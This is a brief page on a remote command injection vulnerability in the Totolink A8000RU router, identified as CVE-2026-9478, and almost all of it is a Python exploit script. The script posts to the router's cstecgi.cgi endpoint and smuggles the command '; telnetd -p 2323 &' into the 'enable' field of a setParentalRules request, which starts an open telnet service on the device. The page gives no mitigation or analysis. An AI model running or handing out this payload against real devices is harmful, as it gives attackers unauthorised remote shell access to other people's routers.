CVE-2026-9478 Totolink A8000RU远程命令注入漏洞

import requests # Target URL url = "http://<target_ip>/cgi-bin/cstecgi.cgi" # Payload demonstrating command injection (e.g., telnetd launch) # The 'enable' parameter is the vulnerable injection point payload = "; telnetd -p 2323 &" data = { "function": "setParentalRules", "enable": payload, "name": "test" } try: # Send malicious POST request response = requests.post(url, data=data, timeout=5) print(f"Status Code: {response.status_code}") print("Response body:") print(response.text) # Check if exploit triggered (e.g., by connecting to telnet) print("\n[!] Check if telnet started on port 2323") except Exception as e: print(f"Error: {e}")